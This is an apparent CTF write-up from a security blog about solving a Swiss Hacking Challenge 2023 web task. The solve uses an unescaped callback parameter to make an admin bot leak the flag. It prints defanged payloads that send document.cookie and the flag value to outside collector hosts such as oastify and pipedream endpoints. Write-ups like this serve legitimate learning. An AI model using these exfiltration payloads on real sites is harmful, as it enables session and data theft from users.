eqqn Security blog

CTF write-ups

Home

Swiss Hacking challenge 2023 - i - Web

Description

“i” is another web challenge. You are given a platform, to upload your CSS style, and share it with the admin. Sounds like XSS! ) You are also provided with source code

This time you can freely register a user. The source code indicates a bot, which opens the share link provided.

free hats

Initial attempt

Intially I got lucky early and found good XSS primitive within a few minutes, but afterwards started getting stuck.

body{
  background-image: url(hxxp://myburpsuite-endpointxyz.oastify.com);
  }

Css even allows to interpolate strings with ${variable}.

This was triggering out-of band requests from my browser, but not the bot. I could retrieve my own JWT with the string

background-image: url(hxxp://myburpsuite-endpointxyz.oastify.com/${document.cookie});

Code analysis

After digging into the code, I noted the constraints imposed by sanitization of URLs and CSS body in app.js

    if request.method == "POST" and url:
        if "&&" in url or ";" in url or "|" in url or "(" in url or "{" in url:
            return "No free hats for you >:("
        if url.startswith("/share?"):
            subprocess.run(["node", "bot.js", url], shell=False)

safeview.js , which is the share page, has more restrictions. It didn’t seem like my initial payload would get caught, and the sanitizations were not performed recursively

function escape(data) {
    var nopes = ["`", "+", "<", ">", "'", '"', "%"]
    var x = data
    nopes.forEach(noperino => {
        x = x.replaceAll(noperino, '');
    });
    x = x.replaceAll(/script/ig, '');
    x = x.replaceAll(/iframe/ig, '');
    return x
}

the interesting bit

I noticed additional argument in the share URL - a callback.

var data = document.createElement('script');
src = '/get_style?share_id=' + shareId
if (callback) {
    var src = '/get_style?share_id=' + shareId + "&callback=" + escape(callback)
}

Digging deeper into what kind of callback this is

    callback = request.args.get('callback', 'updateStyle')
    if share_id:
        style = db.getStyleByShareId(share_id)
    else:
        user = db.getUserbyId(token["id"])
        style = user["style"]

    data = '{funcname}(`{data}`)'.format(
        funcname=callback,
        data=style,
    )

The callback default argument is “updateStyle”, which calls the function. However, we can specify arbitrary callback function, and it will take the supplied data as input.

By putting “fetch()” call in the callback and testing it in the browser, I noted it failed to get body{background-image: url} So I cleaned it up to contain only URL.

fetch is gonna get blocked by CORS, so we need another javascript function that takes arbitrary URL as argument and makes a call. After looking around for other XSS manuals, I found open().

solution

By including a simple URL as the CSS to send to admin, and triggering the callback, we can extract the flag

hxxps://eo8tkgldaXXXX.m.pipedream.net/${flag.value}

And send the share with the callback URL to the “admin” :

/share?share_id=0718b98ab524698450e410e2e60618&callback=open

flag

Summary

The organizers did a great job at creating fun challenges. In the end I ranked 27/87 in the open category, and 56/178 in combined ranking, although I only invested myself mostly into web challenges, as I want to improve my code review skills. The long duration was generous, as there was also Insomnihack during the competition period.

PS: This was perhaps not the intended solution, which was CSS selectors. Other players have also discovered various bypasses. It never ceases to amaze me how different thought proccess and approaches are.